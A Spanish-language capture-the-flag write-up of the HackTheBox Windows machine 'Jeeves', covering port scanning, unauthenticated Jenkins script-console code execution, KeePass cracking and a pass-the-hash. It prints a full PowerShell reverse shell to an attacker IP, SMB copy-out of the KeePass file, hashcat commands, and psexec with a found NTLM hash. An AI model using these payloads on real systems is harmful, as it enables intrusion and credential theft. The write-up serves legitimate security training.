Jeeves

Publicado: 11 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium
📝 Descripción
Jeeves es una máquina Windows de dificultad media que presenta múltiples vectores de ataque interesantes. La máquina ejecuta un servidor web IIS en el puerto 80 con una aplicación de búsqueda vulnerable, y un servidor Jetty en el puerto 50000 que expone una consola de Jenkins. El vector principal de acceso inicial se obtiene a través de la explotación de la consola de scripts de Jenkins, que permite la ejecución remota de código. Para la escalada de privilegios, se requiere el análisis de un archivo KeePass encontrado en el sistema, cuya contraseña se puede crackear offline, revelando credenciales que incluyen un hash NTLM del administrador. La escalada final se logra mediante un ataque de Pass-the-Hash, y la flag final está oculta en un flujo de datos alternativo (ADS) del sistema de archivos NTFS.
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.63
PING 10.10.10.63 (10.10.10.63) 56(84) bytes of data.
64 bytes from 10.10.10.63: icmp_seq=1 ttl=127 time=45.6 ms
64 bytes from 10.10.10.63: icmp_seq=2 ttl=127 time=41.4 ms
--- 10.10.10.63 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 41.373/43.482/45.591/2.109 ms```
> 💡 **Nota**: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
### Escaneo de puertos
```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.63 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
80,135,445,50000
Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.63 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 19:35 CEST
Nmap scan report for 10.10.10.63
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2025-06-11T22:35:15
|_ start_date: 2025-06-11T22:25:19
|_clock-skew: mean: 5h00m02s, deviation: 0s, median: 5h00m01s
🔐 Servicios Encontrados
🗂️ 445 TCP - SMB
Verificamos si podemos enumerar algo de información mediante una NULL Session pero no parece posible:


🌐 Enumeración Web
🌍 Puerto 80 - HTTP (IIS)
Al acceder al servicio expuesto en el puerto 80 en http://10.10.10.63/ encontramos una aplicación llamada Jeeves que parece ser un Buscador:

Probamos la funcionalidad de búsqueda y recibimos un mensaje de error de base de datos que nos revela información valiosa:
Base de datos: Microsoft SQL Server 2005 9.00.4053
Directorio revelado en el mensaje de error

En el mensaje vemos un directorio:

Realizamos fuzzing de directorios pero no encontramos nada de utilidad que podamos usar como vector de ataque.
🚀 Puerto 50000 - HTTP (Jetty)
Al acceder a este servicio en http://10.10.10.63:50000/ encontramos:
Error 404 Not Found
Banner: Jetty 9.4.z-SNAPSHOT (versión en desarrollo)

🔍 Fuzzing de directorios
Al realizar fuzzing de directorios usando gobuster encontramos un recurso crítico:
gobuster dir -e --url http://10.10.10.63:50000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 80
Recurso encontrado: /askjeeves
Recurso encontrado: /askjeeves
💥 Explotación - Acceso Inicial
🎯 Jenkins Script Console
Accedemos al recurso http://10.10.10.63:50000/askjeeves y descubrimos que tenemos acceso al Script Console de Jenkins sin autenticación:

🧪 Prueba de Concepto (PoC)
Relizamos una PoC ejecutando el siguiente código para ver si logramos enumerar el usuario de la máquina:
def cmd = 'whoami'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Resultado: Usuario kohsuke
confirmado

Ahora iniciamos un listener en nuestro host de ataque:
nc -nlvp 443
🔄 Reverse Shell
A continuación, tratamos de explotar una RCE y ganar acceso a la maquina usando el siguiente payload:
def host = "10.10.14.7"
def port = "443"
def cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"\$client = New-Object System.Net.Sockets.TCPClient('$host',$port);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i); \$sendback = (iex \$data 2>&1 | Out-String ); \$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> '; \$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
def proc = Runtime.getRuntime().exec(cmd)
proc.waitFor()
Y obtenemos la reverse shell en la máquina windows:

Enumeramos la máquina y obtenemos la primera flag en el directorio Desktop del usuario kohsuke:

## 🔝 Escalada de Privilegios
🔑 Descubrimiento de KeePass
Continuamos enumerando y descubrimos un archivo de keepass en el directorio Documents del usuario kohsuke:

Podemos transferir este archivo a nuestro host de ataque usando por ejemplo smbserver de impacket para montar un recurso en red de la siguiente forma:
impacket-smbserver smbShare $(pwd) -smb2support -username x3m1Sec -password x3m1Sec123
net use z: \\10.10.14.7\smbShare /user:x3m1Sec x3m1Sec123
copy CEH.kdbx z:\

🔓 Análisis del Archivo KeePass
Una vez transferido el archivo a nuestro host de ataque, verificamos con el comando file el tipo de archivo:
file CEH.kdbx
CEH.kdbx: Keepass password database 2.x KDBX
Vemos que se trta de un archivo de keepass de versión 2.x
Intentamos usar kepass2john para extraer el hash del archivo y ver si podemos crackearlo offline mediante un ataque de diccionario
keepass2john CEH.kdbx > passcodes.txt

Copiamos el hash con el formato correcto y sin saltos de línea:
$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
A continuación, usamos hashcat y el diccionario rockyou para crackearlo y obtener la contraseña:
hashcat -m 13400 -a 0 passcodes.txt /usr/share/wordlists/rockyou.txt

🗝️ Acceso a KeePass
Ahora usamos la herramienta keepass2 para cargar el archivo CEH.kdbx y usar la contraseña maestra que hemos obtenido anteriormente con hashcat:
keepass2 CEH.kdbx


Recopilamos todas las contraseñas y el hash que hemos encontrado para ver si alguna se está reutilizando por el usuario Administrator:
📋 Credenciales Encontradas
Contraseñas recopiladas:
S1TjAtJHKsugh9oC4VZl
Password
12345
F7WhTrSFDKB6sxHU1cUn
pwndyouall!
lCEUnYPjNfIuPZSzOySA
Hash NTLM encontrado:
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
No hay suerte tratando de autenticarnos con ellas y el usuario administrator contra el servicio SMB:

🎯 Pass-the-Hash Attack
Sin embargo, usamos impacket-psexec para hacer pass the hash usando la cuenta del usuario Administrator y el hash encontrado y logramos ganar acceso como administrador:
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 administrator@10.10.10.63

🏆 Flag Root - Flujos de Datos Alternativos (ADS)
🔍 Búsqueda Inicial
Al acceder al directorio Desktop del Administrator, encontramos una pista en lugar de la flag: Accedemos al directorio Desktop del usuario Administrator para obtener la flag, sin embargo, encontramos un fichero de texto que nos indica que tenemos que buscar de forma más profunda:

Tras buscar el archivo root.txt en toda la raíz de windows usando
dir C:\root.txt /s /p
dir C:\root /s /p /a:-d
No encontramos nada. Cambiamos el enfoque, hay una característica del sistema de archivos NTFS que son los flujos de datos alternativos (ADS)
📁 Detección de ADS
Usamos dir /R
para mostrar los flujos de datos alternativos:
Con el comando dir /R
en Windows muestra información detallada sobre los archivos de un directorio, incluyendo sus flujos de datos alternativos (ADS):

Podemos usar el comando more para leer el contenido de la siguiente forma:
more < hm.txt:root.txt

Last updated